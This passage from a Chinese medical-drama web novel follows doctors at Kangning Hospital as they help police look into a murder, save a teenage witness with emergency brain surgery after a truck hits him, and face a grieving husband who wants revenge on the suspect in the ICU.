南栀:“泼水的事先不说,她为什么打你?” 陆随:“……” 闫民怀在一旁抱怨道:“我真是没见过这种父母,他们和那些不讲理的人还不一样,那些人可能会说儿子无罪,是被诬陷的,他们正好相反,案子还没定性,他们就把罪名安在儿子头上,起码要等法院宣判吧?” 南栀问:“他们认为许斌是凶手?” “我刚刚出去打听了一圈,许斌的脾气不是很好,曾经因为赌博被派出所拘留过,好像还动手打过母亲。” 南栀道:“欺软怕硬。” “差不多吧,反正现在的情况就是,所有人都认为许斌是凶手,所有人都希望许斌直接死在手术台上,不要再出来给他们添麻烦。” 南栀看向陆随。 难怪陆随的情绪不对。 南栀问:“多想了?” 闫民怀:“不会啊,陆哥坚强得很,面对撒泼打滚的王鑫云淡风轻。” 陆随缓缓道:“我在想,我做这台手术,是不是真的错了。” 闫民怀:“……” 刚刚明明和主任说什么事都没有。 陆随有些烦躁。 救一个所有人都希望去死的人,到底是对是错? 如果他真的没罪,或者他有罪但无法判刑,继续去祸害父母,这该救吗? 陆随曾经的信念似乎有所动摇。 南栀想了想,说:“情况不一样。” “哪里不一样?” “如果一个人对家人不好,在生死关头,决定是否抢救的是他的家里人,不是医生。家人想摆脱他,可以合法地放弃抢救,这都是由他们决定的。许斌的情况完全不同,他身上有未结的刑事案件,送他来医院的人是警察,我还是那句话,我们的任务是送他去见法官。” 不能让他轻易死去。 陆随看 着南栀,“如果是你,你一定会为他动手术。” 南栀点头,“人已经从阎王殿拉回来,我们的任务已经完成了,剩下的工作是警方的。” * 在心外办公室豪言壮语的南栀一回儿科,就把阮乔和韦宁雨叫了过去。 阮乔打着哈欠说道:“我还得回家缝猪皮,我现在缝得可熟了。” 她立志要给南栀做助手,每天在家缝各种皮来练习。 南栀还给她画了各种解剖图,现在她就想上台试试手。 韦宁雨说:“你可算了吧,猪肉多贵,真是白死了。” “俊俊,你不太听话哦,我要把你的脑袋打开,送给南栀正名!” 韦宁雨捂着头举白旗投降。 南栀道:“我看命案不破,陆随心里过不去。” “唉,这也没办法,救的是坏人,换做谁都得好好想想,”阮乔说,“其实如果是我,一个对我很坏的人倒在我面前,只有我能救他,我肯定不管。” 南栀道:“舒教授的儿子犯病时,我也不太想管。” “后来怎么又去了?” 后来……她给陆随打了电话。 阮乔:“禁止秀恩爱。” 韦宁雨无语道:“我们中间怎么会混进情侣?踢出去!” 南栀:“……” 她想去打听打听案子有没有进展。 申树和张晓乐都很安静,这让南栀不安。 魏联看向三人,“这是办公室,不是你们的作战室,这里还有其他人在工作。” 韦宁雨道:“老魏,你过来和我们一起商量,这里就是我们的作战室。” 魏联:“……我为什么要和你们一起?” 阮乔说:“这里除了我们只有你,只要你稍微改变,就和谐了,多简单,是吧小魏?” 魏联:“?” 好像有点儿道理? 魏联晕乎乎地走过去,“但是手术的事,只能怪陆医生手艺好运气好,真把人救活了,其实这种复杂的手术,虽然没明说,但大家都知道死亡的概率更大,陆医生也不用太担心,指不定有并发症。” 阮乔抗议道:“你能不能别做乌鸦嘴?” 做医生之后,事事都要避谶。 魏联道:“外科手术成功的概率高吗?不高。你知道有多少人死在手术台上?” 阮乔问:“你经历过?” 魏联面色微僵。 阮乔没有察觉,她认真道:“有些病只能做外科手术,是为提高患者的生活质量,外科手术自然有风险,但有些风险是值得去搏一搏的。” 南栀倒是没考虑过外科手术的优劣,她一直以来的目标就是去外科。 南栀问:“你不想做外科医生,是害怕手术失败吗?” “……不是,”魏联说,“说陆随呢,提我做什么?” 南栀道:“陆随的事,也只能等罗警官结案,罗警官应该还在医院?我去找他。” 阮乔和韦宁雨紧跟着她,“我也去。” 三人冷漠离开。 魏联无语:“不是说一起吗?不是要变成作战室吗?” 这就把他扔下了? 不对,他为什么要和他们一起?! 这仨混蛋! 罗鸣就在ICU外。 他现在头疼得很。 许斌虽然醒了,但还不能开口说话,完全无法回答问题。 张玲玲家属一直在催他们捉人,说是要把病床抬到警局。 这是抬到警局的事? 队内其他成员还在走访群众,除了恰好在附近的张晓乐,没有其他目击者。 罗鸣现在其实有一个新目标,但不太好实施。 罗鸣思考时,下意识叼起烟。 手还没碰到火柴,就被护士呵斥道:“这位警官,怎么能在ICU门口吸烟?!” 罗鸣吓得烟都掉了,“抱歉抱歉,习惯了。” 他正要弯腰捡烟,就听到十分狗腿的声音,“罗警官想抽烟?” 接着是更狗腿的声音,“罗警官出去抽吧,这里气味不好,太耽误罗警官享受了。” 最后一个狗腿不仅表现在声音上,他直接递来一盒软包中华,“罗警官请。” 罗鸣:“……” 罗鸣无语地看着这三人,他只认识南栀,但刑警的直觉告诉他,这仨都不是什么好东西。 他转身往外走。 南栀三人紧跟上去,“罗警官,有新线索了吗?你们没开会讨论讨论?” 身后的狗腿还在吵,“你怎么抽烟?” “我不抽,我是给这些老烟鬼准备的。” “为什么要给他们准备?” “老烟鬼,拿烟好办事。” 老烟鬼罗鸣:“……” 戒烟! 他要戒烟! 四人走出医院。 南栀故作苦恼,“这件事啊,实在太耽误我们陆医生了,你可能不知道,他今天刚被许斌的家属打了。” 阮乔说:“头破血流。” 韦宁雨:“都进急诊了。” 罗鸣:“……有这事?” 南栀很肯定地点头,“不信你去医院打听打听。” 肯定是一个版本。 罗鸣道:“这可不是小事,陆医生在哪?得验伤,得把人抓起来。” 他想回去找陆随。 南栀拦住他,“我们陆医生高风亮节,不会和病人家属计较。” 罗鸣:“……是吗?” 刚被送进拘留所的那个是怎么回事? “是啊!”南栀,“咱们现在就得赶紧努力找到真凶,找到证据!您说是吧?” 罗鸣面无表情地看着南栀。 他觉得自己好像被耍了。 “怎么查,你说。”给她个面子。 南栀问:“张玲玲的人际关系网查了吗?” “没与任何人有经济、感情上的纠纷。” “许斌的人际关系呢?” “他脾气不好、好赌,仇家不少。” “王鑫?” “她刚毕业就嫁给许斌,同学说她是为了许斌的钱,许斌家条件还不错,当时许斌是临川市第一批做小买卖的,赚了不少钱。她家里经济条件一般,有两个姐姐三个弟弟,和家里联系不多。” 南栀最后问:“张晓乐呢?” 罗鸣一愣。 阮乔低声道:“张晓乐是张玲玲的弟弟。” “可他为什么会在王鑫家附近,还成为目击证人,不奇怪吗?” 罗鸣不语。 韦宁雨说:“好像是挺奇怪,不过他和张玲玲是亲姐弟,他没必要害他姐姐吧?难道他们在争财产?” 罗鸣幽幽道:“这倒没有,他们姐弟关系也不错。” “那就不可能了。” 南栀看到罗鸣的神色,问:“您本来也打算去查张晓乐吧。” 罗鸣:“……” 他就说不太喜欢这丫头,他在想什么,她都知道。 南栀说:“走吧!” 阮乔&韦宁雨:“罗哥,走! ” 罗鸣:“……” 走什么走?走什么走! 阮乔和韦宁雨一起把罗鸣架走。 今天陆随不值班,不过他没打算回家。 许斌目前还在危险期,陆随放心不下。 他也不知道自己是盼着许斌好还是不好,也许许斌现在并发症撑不住了,谁都不用再做选择。 陆随来到ICU,看到换了无菌服的两名警察,他们需要日夜守着许斌。 许斌还在熟睡中。 陆随走过去,警察问:“他什么时候能醒?” 陆随道:“即便醒了,短时间内恐怕无法接受审讯。” “唉,这要守到什么时候才是个头?” “最大的嫌疑人生了这么大的病,万一他真在梦里头过去了,咱还能破案吗?” “我倒是希望他直接……” 陆随看向警察。 警察尴尬地笑笑,“我不是这个意思,我就是,唉,就是太累了,随口抱怨,我肯定希望他能坐起来告诉我真相。” 陆随笑笑,没说什么。 他走出ICU,ICU门口守着好几个不肯走的病人家属。 陆随呼吸不太顺,他干脆走出大楼,去院子里待一会儿。 哪知他正好撞见魏联下班。 魏联朝他招手打招呼,“他们开作战会议,没带你啊?” 陆随:“作战会议?” 魏联严肃道:“他们可带着我一起开了。” 陆随:“这……” 魏联:“然后无情地抛弃了我!” 陆随:“……” 陆随问:“他们去哪了?” “还能去哪,找警察呗,找凶手,都是为了你。”魏联一顿,试图寻找报复的快乐,他说,“小陆啊,咱做外科医生,不能钻牛角尖。” 耶!又报了南栀叫他小魏的仇! 她才多大点儿?整天小魏小魏的,没礼貌! 陆随拧眉询问:“他们去找凶手?南栀?” “她,我可不会认错。” “胡闹,”陆随说,“真遇到穷凶极恶的,他们能对付?他们什么时候走的?” 魏联耸肩,“我可不负责看着他们。” 陆随道:“我去找他们。” 他转身想回更衣室换衣服。 转身的瞬间,余光扫到一个熟悉的身影。 陆随的目光追过去,看到那个身影闪进医院。 他行色匆匆,走路时一直留意周围,不知原因,但很奇怪。 陆随立刻跟过去。 魏联:“你去找他们也……喂,你怎么也扔下我走了?都不听人把话说完?” 这都是什么人!! 陆随追着人影走进医院,却没再看到他。 陆随立刻往ICU去,拦住一个护士问道:“刚才有人来过吗?” “没有啊,陆医生你怎么又回来了,不是刚走吗?” “哦,落东西了,”陆随说,“今晚盯紧点儿,别让人随便进来。” 护士笑道:“我们这儿的规矩你还不知道?护士长管得多严,肯定不能让外人进来。” 陆随还是不放心,他又找到看守许斌的两个警察,“我刚才看见申树了。” 警察无奈,“他又过来了?手术都做完了,他还过来干什么?难不成还要时光倒流?” 陆随拧着眉。 警察背后涌来凉风,“不会吧?他还想杀了许斌不成?” “还是小心吧,”陆随道,“好歹救回来了,别出意外。” 第94章 第94章晕了好几年 罗鸣没想到有朝一日他会和三个医生一起蹲守。 这三人还有模有样的,专门往树后躲,好像很有反侦查意识。 罗鸣冷笑,“你们是害怕人家注意不到你们?” 南栀三人退回来,“罗警官赐教。” “做平时会做的事情,最自然。” 专门在树后探头探脑的,就算张晓乐注意不到,其他人也能看出这仨人不正常。 若惹得大家议论纷纷,肯定打草惊蛇。 罗鸣带着三人钻进包子店。 热气腾腾的包子出炉,南栀三人每个人要了两个大包子。 罗鸣:“……我们不是来吃的。” 南栀:“要自然。” 阮乔:“在包子铺,当然是吃包子最自然。” 罗鸣:“……” 要不人家念过大学呢。 他们蹲守的地方是张晓乐的学校。 张晓乐的班级有课后辅导,是班主任主动要求增加的课程,不收任何费用。 其他班级也有类似情况,因此现在虽然已经过了放学时间,但学校门口还有不少小摊。 校门口这条路不宽不窄,偶尔还有汽车路过。 隔壁就是小学,好多小朋友就住在附近,放学回家吃过饭后又跑出来玩,看着倒是生机勃勃。 南栀说:“包子一般。” 阮乔放下包子,“难吃。” 韦宁雨道:“罗警官,你怎么不挑家好吃点儿的店?” 罗鸣先是惊悚,接着拼命朝三人眨眼睛。 南栀:“?” 眼睛坏掉了? 一个穿围裙的男人出现在南栀身后,“呵呵,小罗,出息了。” 罗鸣尬笑,“孩子不懂事,别见怪。” 三个二十多的孩子一起抬头。 店主和罗鸣的长相极为相似。 罗鸣说:“咳,介绍一下,这是我哥。” 韦宁雨:“哇,大哥,你手艺真不错!” 阮乔说:“这包子有妈妈的感觉,和我妈手艺一样。” 南栀:“……” 杨芬女士似乎不太会做饭。 南栀绞尽脑汁道:“这包子……的褶真多,怎么包的?” 店主白了罗鸣一眼,对几人说道:“不是我家包子难吃,是咱罗警官味觉不对,给他上的都是我单独做的包子,他就好这口。” 南栀一副不相信的样子。 阮乔踩了她一脚。 南栀:“……肯定是罗警官的问题。” 阮乔热情道:“哥,这家店开了挺久的吧?有百年老店的感觉。” 南栀开始算一百年前……哦,清朝就有了。 韦宁雨接着问:“对面学校的学生也会来吗?” 店主点头,“很多人顺手买早饭。” 南栀问:“他也会来吗?” 南栀指的是在操场栅栏旁坐着的张晓乐。 操场上有几个学生在打篮球,张晓乐不参与,只看。 店主说:“来得不多,但是来过。哦,我想起来了,这孩子家里挺有钱吧?” “怎么说?” “他有一次是拿着一百块钱过来的,一百块钱来买包子,我都怕他用的是**。” 一个包子三毛钱,在后世就算了,放到现在的确稍微夸张。 南栀问罗鸣,“他家很有钱吗?” “正常情况,但是没听说他们会给张晓乐这么多零花钱……等等,他要去哪?” 张晓乐拎着校服站了起来。 他的目光穿过马路,落在包子铺这一侧。 阮乔问:“他该不会看到我们了吧?” 南栀说:“应该不会?” 张晓乐一手拿着衣服,另一手拎着书包,慢吞吞绕到校门口。 南栀几人站起来,打算跟上他。 然而张晓乐选择穿过马路,径直朝包子铺走来。 南栀:“……” 四人如坐针毡。 韦宁雨:“他该不会是……” 罗鸣:“应该不……” 张晓乐撩开门帘走进来。 南栀四人身体僵硬,坐得笔直。 罗鸣的跟踪史还没出现过这般尴尬的一幕。 张晓乐走向四人。 罗鸣:“……” 他就说不能和医生一起跟踪吧!! 是谁暴露了?是谁!! 罗鸣瞪着南栀。 南栀看向阮乔。 阮乔立刻把矛头对准韦宁雨。 韦宁雨幽幽道:“谁让我太帅,太引人注目……” 张晓乐说:“罗警官。” 南栀三人立刻瞪向罗鸣,试图用眼神杀死他。 罗鸣:“……” 罗鸣用严肃掩饰尴尬,“张晓乐?挺巧。” 南栀:拙劣的演技! 阮乔:谁会信! 韦宁雨:你引人注目可不是因为 帅! 好在张晓乐并不想追究为何会在学校门口看到罗鸣。 他情绪低落,双眸仍然麻木,声音也磕磕绊绊,“罗警官,我姐夫,他可能,我姐夫他……去医院了。” 罗鸣是刑警,在某方面极为警觉,他的目光陡然锐利,与刚才完全不同,“他去干什么?” 张晓乐低声道:“我姐夫人挺好的,但他离不开我姐。” 罗鸣立刻冲到柜台抓起话筒,联络在医院的警察。 店主在后面叫道:“又来,电话都要被你摔坏了!” 南栀有些不安。 她快速起身走向罗鸣,罗鸣挂断电话后说道:“许斌暂时没事,我派其他人去医院加强防卫。” 南栀问:“可以去找找陆随吗?” “陆医生?” 南栀说:“他今天不值班,但应该会留在医院。” 在罗鸣看来,申树的第一目标是许斌,相比之下陆随的处境是安全的。 但只要有一丝可能性,他们就得做准备,罗鸣说:“我通知他们,让陆医生去ICU,那边警察多。” 南栀也打算回医院。 张晓乐说完这些,便拎着书包离开,他现在会下意识低着头,说话时还会躲避对方的目光。 南栀盯着张晓乐的背影看了片刻,喃喃自语道:“姐姐遇害,他的反应应该和申树一样吧。” 现在看来,倒更像是在逃避什么。 罗鸣说:“张晓乐的反应不对劲,得把他请到局里谈谈。” 张晓乐正在过马路。 他走在马路中央,忽然停下来,捂着心脏大喘气。 南栀和阮乔下意识朝张晓乐走去。 她们还没走出包子铺的大门,便听到刺耳的刹车声,一辆蓝色卡车载着货物驶来。 街边响起尖叫声,张晓乐也听到声音,他抬头看到卡车,呆住两秒钟,才想起来躲避。 可卡车是直奔着他来的,他一时手脚发软,心跳比刚才还要更快,竟不知是该往前跑还是往后躲。 好像卡车会追着他过来。 卡车超速,来不及躲避,司机打了一把方向盘,但右侧车头还是撞上张晓乐。 南栀和阮乔同时冲了出去。 卡车停在路边,周围的人慢慢围上来。 南栀喊道:“让一让,让一让,留出空间。” 张晓乐倒在地上,已经失去意识。 他的头直接撞击地面,头下方源源不断地流血。 南栀立刻说道:“打120,不对,最近的是康宁医院,给康宁医院打电话,让他们准备手术室,直接把人拉过去。” 阮乔问:“脑袋成这样了,是不是该通知神外?” 南栀盯着张晓乐的头陷入沉思。 颅脑损伤跑不了了,张晓乐当场晕倒,情况危急,必须立刻钻孔探查,准备手术。 其他问题,心、肝、肺、肾等等,康宁医院都可以做手术,唯独神外似乎差了一点儿。 “南栀?” 南栀回过神,说:“通知医院,请可能涉及的科室配合,我们先给他急救。” 在救护车赶到之前,她们得为张晓乐止血、固定伤肢,以免受到二次伤害。 救护车赶到,急诊已经做好准备,他们要先把张晓乐从阎王殿前拉回来,保证其他科室医生还有机会给他看病。 南栀几人坐罗鸣的车赶回医院。 神经外科的主任庄鸿是退休返聘的老主任,他开刀技术一般,和南栀一样,也不是正经医学院出身。 不过他刚做医生那会儿,国家都还没建立,到处都是战火,含金量还是比培训班高得多的。 张晓乐颅脑损伤严重,包括颅骨骨折、硬膜下血肿,还有一定程度的胸外伤。 庄鸿道:“这种情况必须钻孔探查,两侧钻孔,鉴别伤情。” 急诊医生说道:“南医生已经做过了。” 庄鸿看向南栀。 他戴着眼镜,头发花白,乍一看很可靠的样子。 但他接下来的话让所有人大跌眼镜。 庄鸿说:“科室做脑外伤手术的是赵医生,我做神经系统先天性畸形手术比较多。” 急诊医生:“……庄主任,你就别逗我了,只是硬膜下血肿清除术。” 庄鸿摊手,“实际上我这两年只坐门诊,没有开刀,今天赵医生不在,得联系他过来。” 情况紧急,现在通信又不发达,赵医生还不是备班医生。 南栀低声问阮乔,“咱们医院的神经外科这么水吗?” 阮乔同样低声回应,“用院长的话来说,神经就不需要分内科和外科。” 庄鸿:“我耳朵可好使了!” 南栀:“……” 小老头听力还挺好。 阮乔推了南栀一把,“这可是不用给韦宁雨开瓢的好机会。” 韦宁雨捂住头,“你果然一直别有用心!” 南栀当然也知道机会难得,不能错过。 但她还有惦记的事。 “张晓乐说申树来医院了,但一直没看到他。” 阮乔道:“这种事交给罗哥就好,实在不行我和他一起去找陆随,你赶紧趁机把庄主任挤走啊!” 庄鸿:“跟你说了我能听见!” 南栀走过去,“庄主任,和您商量一下,神外应该能开手术吧?” 庄鸿:“不能,我们科室就是开着玩的,从头到尾一个手术都没做过,牛吗?” 南栀说:“既然能做手术,能不能麻烦您借我几个人?” “你?”庄鸿问,“你是谁?” 南栀自我介绍,顺便说明她曾去儿研所跟着舒教授学习。 庄鸿说:“你和舒映阶学习?那我的老师就是**。” 南栀:“……” “你知道舒教授是什么级别的人物?我这种小角色在她面前,擦鞋都不配。舒教授在神外是什么地位?那是和陆教授不相上下!陆教授就在临川,你去她家看看!” 南栀:“去陆教授家瞻仰学习?” 庄鸿:“去看看……她家的别墅有多大!” 老大了!羡慕! 南栀:“……” 不得已,她搬出自己的走后门绝技,“我没骗您,其实就是陆教授推荐我去的,我是陆医生的未婚妻。” 急诊说:“她没撒谎,真有这事。” 庄鸿拍了拍手,“赶紧给南医生准备!” 讨好陆教授讨好舒教授讨好陆教授讨好…… 幸好舒教授看得远,尽量把所有技能都教给南栀。 虽说医生没有那么多精力研究太多手术,但现在毕竟缺人才,世界还是那个草台班子,能用的人都得用上。 所以外伤方面的手术也不能落下。 神外有用惯的手术团队,南栀主刀。 给她做助手的只有两个人,两个人足够了。 南栀让阮乔换好无菌服一起去手术室。 阮乔跃跃欲试。 助手对南栀不太了解,但两名护士都是跟过南栀的,对于她敢做神外手术一事见怪不怪。 “别说开脑子,就算解剖尸体,她也敢。” “说不定还能做心脏手术,陆医生肯定会和南医生讨论。” 助手:“……” 讨论就能做手术? 护士神秘道:“这就是天才和凡人的区别,你等凡人,怎么可能知道看两场手术就会做的感觉?” 助手:“……你不说话时更可爱。” 手术室正在做准备,韦宁雨站在门口等了一会儿,没立刻去找陆随,反而往祁念珍办公室跑去。 祁念珍现在是下不了班的。 韦宁雨敲门走进去,祁念珍果然在头疼地看文件,韦宁雨示意祁念珍安静,然后拿起话筒。 祁念珍:“……” 这到底是谁的办公室? 韦宁雨打电话给魏联家所属的居委会,先把人叫回来。 挂断电话,他才对祁念珍说:“连院长下班了吗?” 祁念珍:“问我?” “您看看您,”韦宁雨痛心疾首,“对领导的动向要如数家珍,要比领导更了解自己,您太不上心了,将来怎么接连院长的班?” 祁念珍说:“这是你将来不准备接我的班的理由?” 韦宁雨乖巧地把电话推过去,“您快给连院长打个电话,我好不容易才保住脑袋,得珍惜机会。” 祁念珍:“?” “有个出车祸的孩子,就是申树的弟弟,受害人的弟弟,他刚刚出车祸了,南栀要给他做手术。” 祁念珍:“……,还打什么电话,直接去办公室把人揪出来!” * 陆随很确定自己看到申树,可跟进来后他就不见了。 说明申树走路的速度很快,而且有意躲避。 这不是好兆头。 陆随试图找到申树。 医院门诊楼里有护士的休息室和更衣室,平时护士进进出出,经常忘记锁门。 陆随挨个去敲门,这个时间,休息室果然没什么人。 找到三楼,陆随先去护士站询问,没人见过陆随描述中的人。 陆随又去休息室,这回门是锁上的。 护士取来钥匙帮陆随开门,“我们不会把贵重物品放在休息室,应该不会有人闯进来的。” 休息室里摆得满满的上下铺铁床,像学生宿舍。 房间里没有柜子,陆随扫了一眼床下,的确没人。 陆随又绕去更衣室。 护士也被患者叫走。 陆随压下更衣室的门把手。 门没有锁,但是陆随没能推开。 他警惕起来,退了两步。 陆随原本没打算叫外援,他认为自己具备正常男人的体力,而且为了顺利完成手术,他一直坚持锻炼,念高中时也会打打架。 但还没去开门,他脑中就冒出南栀常念叨的四个字——身娇体弱。 陆随:“……” 这到底是谁造的谣? 总感冒也不是他的问题,他昏迷两个月没有其他后遗症就不错了! 陆随想去找个医生和他一起去更衣室。 但这个时间显然是找不到人的。 陆随决定摆脱“身娇体弱”的桎梏,独自前往更衣室。 这回,更衣室的门是开着的。 陆随推开门,瞧了眼门锁,发现门锁早就坏了。 锁坏了,刚刚却推不开,只能说明…… 陆随看向站在靠近窗户的男人。 “许斌有警方保护,你做不了什么。” 申树穿了一身黑色运动装,他认真道:“所以我把你放进来。” 陆随:“?” “陆医生,我想明白了,你是医生,警察就在旁边,你不可能拒绝手术。” 陆随直觉不太妙,但他不理解申树为何要站在窗户旁。 这里是三楼,不利于逃走。 申树就算想和他谈判,也该给自己找一个可以随时离开的位置,否则陆随一定会将此事告诉警方。 申树说:“这事和你没关系,我绝对不连累你。但是……” 陆随在等申 树的但是。 申树试图从陆随眼中找到松动的迹象,可陆随神色平平,看不出是赞同还是拒绝。 申树只得继续说道:“不知道你有没有喜欢的人,你能理解我吗?” 陆随说:“你太急了,为什么不等法院宣判。” “我等不及,”申树摇头,“玲玲走了,我一天都活不下去。你知道我现在有多难熬吗?我要跟着她走,如果你有喜欢的人,你就会理解我。” 陆随道:“我有喜欢的人,也没法理解你。就算她不在了,我也有很多其他事需要做,爱情不是人生的全部。” 申树说:“但玲玲是我的全部。” 更衣室内安静下来。 陆随思忖片刻,说:“好吧,或许对你而言是对的。” “所以你能帮我吗?”申树祈求道,“我把所有存款都给你,你帮我进去,只要我成功了,我就自杀,绝对不会连累你。只要你不说,警方什么都查不出来。” 陆随这回没有犹豫,“你就没考虑过,如果凶手不是许斌怎么办吗?” “不可能!晓乐和玲玲关系很好!晓乐很爱他的姐姐,他不可能说谎,也不可能看错!” 陆随说:“我只能劝你再等等,剩下的,我帮不了你。在你没惊动警方之前,还是走吧,真做了什么被警方发现,你就出不来了。” 陆随打算看着申树离开。 申树走向陆随,“我不会放弃。” 陆随很头疼。 他也算能理解申树的痛苦,既然人还没犯事,先把人放走比较好,就算交给警方,在他没有真的犯罪的情况下,警方也拿他没办法。 但申树偏偏一点儿后悔的意思都没有。 陆随拦住申树,“那我就只能把你带到警方面前,让他们安排了。” 申树看向陆随,忽然朝陆随挥拳。 这一刻,陆随忽然明白申树为何不在乎位置。 申树说:“陆医生,我练过拳击。” 陆随:“……” 他看出姿势了!不用说了! * 连争在下班前被祁念珍和韦宁雨架到手术室外。 通过窗户,他们能看到手术团队的所有动作。 魏联家比较近,他也赶了过来,“什么紧急的情况?用得着我吗?又有学校出问题了?” 学校是孩子最多的地方,除此之外魏联想不到他一个儿科医生有什么被拎回来的必要。 “还是值班医生出问题了?你赶紧说,别搞神秘。” 唠唠叨叨的魏联被韦宁雨拎进手术室外。 魏联不认识连争,只认识祁念珍,于是喊了声院长好。 祁念珍朝他挤眼睛,然后看连争。 魏联说:“您眼睛不舒服?” 祁念珍:“……” 儿科这帮人,一个能讨好领导的都没有。 祁念珍介绍道:“这位是连争连院长,这是魏联,是儿科的医生。” 连争若有所思道:“最近儿科来了不少医生?” “儿科太缺人,幸好前段时间陆教授来过,再加上南医生的表现很不错,吸引了一部分人。” 魏联撇撇嘴。 南医生的表现很~不~错~ 呵呵,告状的本事是挺强的。 韦宁雨对魏联说道:“你看,张晓乐在做手术。” “张晓乐?不是许斌?他又怎么了?” 魏联看向大窗户,一眼便看到南栀。 其实南栀手术时不仅要戴口罩,还要戴手术帽,基本只露出眼睛。 但这双邪恶的眼睛魏联肯定认得。 “什么意思?”魏联问,“南栀要刀了我?” 韦宁雨:“……” “是祁院长叫你来,儿科太忙了,”韦宁雨胡编乱造道,“张晓乐刚刚出车祸,神外那边做不了手术,南栀才去的,你看看,这个手术不做,张晓乐肯定活不成了。” 魏联走到窗户边。 手术室内的南栀正在做清理硬膜下血肿手术。 魏联想起他曾学过的知识。 车祸中,只有情况较好的伤员才允许进行系统检查和必要的辅助检查。 包括头颅X线,脑超声和脑血管造影。 病情严重的伤员需要采用快速诊断的钻孔探查,在两侧钻孔,判断伤情,鉴别脑挫伤和颅内血肿。 手术主要处理颅内血肿和颅骨骨折等问题。 张晓乐就是在钻孔探查后立刻进行手术,紧急手术难度更高。 南栀冷静地操作着。 韦宁雨趁热打铁,“张晓乐才十几岁,现在人没了,多可惜?但他颅脑损伤,这就必须做手术才能解决,总不能给他开点儿药,让他回家慢慢治吧?所以说,手术是必须存在的。” 魏联只是看着南栀。 现在他好像理解,为什么南栀坚称没有走后门。 她的熟练度和冷静度确实是他没法相比的。 魏联问:“她在首都做过手术?” “做过很多啊,”韦宁雨说,“舒教授可是个好人,什么都愿意教给南栀,为了让她短时间内学到更多的东西,还特意和其他医生交换患者,虽然有的患者不太同意……咳,反正最后都圆满解决了。” 魏联说:“如果能和舒教授学习,确实是幸运的。” 韦宁雨给他加油打气,“你现在开始努力,只要有天赋,就能被舒教授注意到,马上你也能做舒教授的徒弟!” 魏联面无表情道:“对我画饼没用。” 韦宁雨:“管他有用没用,先试试再说。” 他把魏联安排在离窗户最近的地方,让他“近距离”观看南栀做手术。 其实按照韦宁雨的意思,他会直接把魏联踹进去,但现在连院 长还在,他得低调点儿。 他可是个懂得如何在职场上生存的人! 韦宁雨走到连院长旁边。 祁念珍正和他说话,“南栀的技术,陆教授和舒教授都很认同,她完全可以独当一面,主刀手术。” 连争拧着眉说:“但她是第一次在康宁做手术,是不是太冒险了?” “当时张晓乐情况紧急,已经来不及送到其他医院,神外的备班医生一时赶不过来,南栀不是在冒险,而是想要救人,只有这一条选择。” “张晓乐的家属可不是好说话的。” 祁念珍道:“我们也不可能因为家属不好说话,就看着张晓乐情况越来越糟糕。” 祁念珍递给韦宁雨一个微妙的眼神。 韦宁雨会意,他说道:“南栀的技术是舒教授认证过的,您放心,我听南栀说她还在儿研所做过切除巨大肿瘤的手术,瘤体最大直径有八厘米!” “八厘米?!”连争惊讶,“手术成功了?” “当然成功了!南栀技术好嘛,而且……”韦宁雨咳了一声,用咳嗽来标记重点,“儿研所设备好嘛,他们那边能做很多检查,比如MRI,手术成功很正常,任何手术都离不开设备的支持。” 连争看向韦宁雨:“?” 祁念珍说:“儿研所的很多医生都比不过南栀,但是人家科室齐全,连小儿神外都有,全国范围内,只有儿研所有小儿神外。” 韦宁雨认真道:“您别这样说,咱们医院将来也可以开小儿肝胆、小儿消化、各种内科外科,这是将来的趋势!” “你说得对!”祁念珍热泪盈眶,“有技术好的医生在,还有连院长,我们将来一定能完善儿科建设!” “细分内科外科!成为临川市最好的儿科!” “儿科发展起来,就可以带动其他科室!越来越多的人才涌入,将来我们康宁医院就是临川市第一的医院!” 韦宁雨不赞同,“我们的目光怎么能只放在临川市?我们要看得长远些,要做全省甚至全国最好的医生!” 连争:“……啊?我们医院吗?” “是啊!”韦宁雨抓住连争的手,慷慨激昂道,“我们康宁医院就是最好的医院,我们可以做其他医院做不了的手术,我们有潜力!” 祁念珍道:“我们在临川市的地位已经比从前好太多,如果这时候能做几台漂亮的手术,再配一些宣传,会有越来越多的患者愿意来我们医院就诊。” “我们还有南医生、陆医生、萧医生这样的精英,院长,你没想过吗?咱们将来肯定会成为全省第一!” “不,是全国第一!” 连争:“……你们是在说康宁医院??” 是说大楼墙皮都掉了一半的康宁医院?? “必需的!” 韦宁雨和祁念珍左右各拉住连争一只手,异口同声道:“院长,现在离全国第一,就差设备了!” 连争愣了好一会儿,“……对,得努力!” 魏联无语地看过去。 下属给领导画饼,他还是第一次见。 手术室内,阮乔羡慕地看着南栀。 几个月不见,南栀又会了很多新技能,她还停在缝合上止步不前。 张晓乐年轻底子好,南栀手稳、耐心、仔细,手术过程没有任何波澜,顺利结束。 但对张晓乐的治疗还不能结束,南栀叮嘱道:“得请心内医生过来看看,他出车祸之前,我看到他捂着心脏停下,所以才没来得及躲开卡车。” 护士跑过去找心内的医生。 南栀走出手术室。 韦宁雨和祁念珍还在慷慨激昂中。 连争亦是意气风发,“对,我们康宁医院是全国最好的医院!” 南栀问魏联,“什么时候的事?” 一台手术的功夫,康宁医院都牛到这个地步了? 魏联说:“你去睡会儿觉就知道了,梦里什么都有。” 南栀避开沉浸在美梦中的三人离开。 魏联跟着南栀问道:“你为什么想做手术?” 南栀不假思索道:“喜欢。” “除了喜欢,还有原因吗?” 南栀摇头,“找不到,但我也找不到不喜欢外科的原因。” “很多,比如做手术太忙、太累,不做手术会轻松很多。” 南栀说:“可我也没想过太轻松的生活。” 像舒映阶,各个方面都能顾及,确实很忙,但也充实。 南栀暂时没有其他兴趣,如果有,她肯定也要去尝试。 魏联说:“我和你这种上头的说不清楚,你手里死过人吗?” 南栀摇头。 这倒不是她手艺有多好,而是她运气不错。 医学的发展,终究解不开身体真正的奥秘,无法攻克的医学难题太多了。 有些疾病,就算是神仙来了,也救不了人。 魏联羡慕道:“真幸福,还没经历过。” 南栀也不知道这会是什么感觉,但她想到了舒教授。 她最近给舒教授打电话,能听出舒教授的声音越来越虚弱。 但南栀细问,舒教授又会说病情没有进展,和以前一样,不许南栀去看她。 南栀只能偷偷联系陆嘉述和王敏,结果这两个人一个比一个淡定。 “谁都会死,别太在意。” “一条命而已,你总担心什么?人到了该死的时候,想活也活不了。” 南栀:“……” 两个教授是一点儿安慰人的话都不说。 还是沈玫告诉南栀一些实情,“舒教授的身体的确不如以前,但现在还在可控范围内,只是这是癌症,舒教授早晚会走到那一天……” 还是进展很快的癌症。 沈玫说这话时,奚阳华就在旁边着急,“你别告诉她!你说了,她不就得回来了吗噩梦!这是噩梦!” 